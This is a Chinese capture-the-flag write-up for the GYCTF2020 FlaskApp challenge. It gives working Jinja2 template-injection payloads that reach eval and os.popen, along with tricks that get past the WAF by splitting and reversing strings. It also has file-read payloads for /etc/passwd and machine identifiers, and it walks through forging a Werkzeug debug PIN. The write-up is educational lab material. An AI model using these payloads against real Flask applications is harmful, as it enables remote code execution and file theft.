[GYCTF2020]FlaskApp(ssti jinja2模块/pin码)
非预期解
我们往解密页面里随便填写,会进入debug页面
我们在这个页面里找到了一些残余代码
1 | @app.route('/decode',methods=['POST','GET']) |
用上了flask模块,并且还存在waf绕过,我们考虑ssti模板注入
加密14,得到结果e3s3Kzd9fQ==
再进行解密,得到结果14,说明存在ssti注入
我们查看根目录
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} |
加密再解密,返回no,no,no,说明有关键字符被过滤
我们需要查看源码app.py(用open)
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %} |
整理一下得
1 | def waf(str): |
过滤了很多东西
我们使用
1.字符串拼接进行绕过
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %} |
加密,解密后得到根目录
发现flag所在的目录,我们读取
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %} |
加密解密,得到flag
2.倒转输出
在python中,使用[::-1]可以倒序输出全部,这样就可以绕过过滤
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %} |
得到flag
常用payload
无过滤情况
1 | #读取文件类,<type ‘file’> file位置一般为40,直接调用 |
有过滤情况的
预期解(文件包含,pin码生成)
得到PIN码需要六个信息,其中2和3易知
flask所登录的用户名
modname,一般是flask.app
getattr(app, “name”, app.class.name)。一般为Flask
flask库下app.py的绝对路径。这个可以由报错信息看出
当前网络的mac地址的十进制数。
机器的id。
flask用户名可以通过读取/etc/passwd来知道
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %} |
2.app.py的绝对路径,可从报错信息中得到
1 | /usr/local/lib/python3.7/site-packages/flask/app.py |
3.当前电脑的MAC地址
我们可以读取/sys/class/net/eth0/address来获得mac的16进制:
1 | {{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}} |
我们去掉:,转化为10进制
得到
1 | print(int('0a09795f7b4c',16)) //将一个十六进制字符串转换为十进制整数 |
4.机器的id
linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取读取/proc/self/cgroup获取get_machine_id()(docker后面那段字符串)
使用如下:
1 | {% for x in {}.__class__.__base__.__subclasses__() %} |
得到
使用网上搜的师傅的脚本
1 | import hashlib |
得到PIN码
点击命令运行框
输入pin码,打开debug模式
输入代码,得到flag
1 | import os |
%的解释
在Jinja2模板中,%
符号用于包围模板语句,通常用于控制结构(如循环和条件判断)。Jinja2模板是一种强大的模板引擎,允许你在模板中嵌入Python代码和表达式,以动态生成内容。
Jinja2模板中的特殊符号
1 | {% ... %}: 用于包围控制结构语句,比如条件判断、循环等。 |
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
分析
记得把*删了
1. **{% for c in [].\**class\**.\**base\**.\**subclasses\**() %}**: - 这是一个for循环,遍历所有的类。 - `[].__class__.__base__.__subclasses__()` 生成一个包含所有类的列表。 2. **{% if c.\**name\**=='catch_warnings' %}**: - 这是一个条件判断,检查当前遍历到的类是否名为`catch_warnings`。 3. **{{ c.\**init\**.\**globals\**['\**builtins\**'].eval("\**import\**('os').popen('ls /').read()")}}**: - 这是一个表达式,利用Jinja2的双大括号`{{ ... }}`输出内容。 - `c.__init__.__globals__['__builtins__']` 访问`catch_warnings`类的`__init__`方法的全局变量中的`__builtins__`字典。 - `.eval("__import__('os').popen('ls /').read()")` 使用`eval`函数执行恶意代码,这里执行了系统命令`ls /`,列出根目录下的文件和文件夹。
总结
{% ... %}
中的内容不会被直接输出,而是用于控制模板的逻辑。控制结构(如循环和条件判断)通过这些语法实现,从而动态生成内容。而{{ ... }}
用于在模板中插入变量值或表达式结果。这种灵活性是Jinja2模板强大的原因,但同时也带来了潜在的安全风险,如代码注入攻击,需要谨慎处理和防范。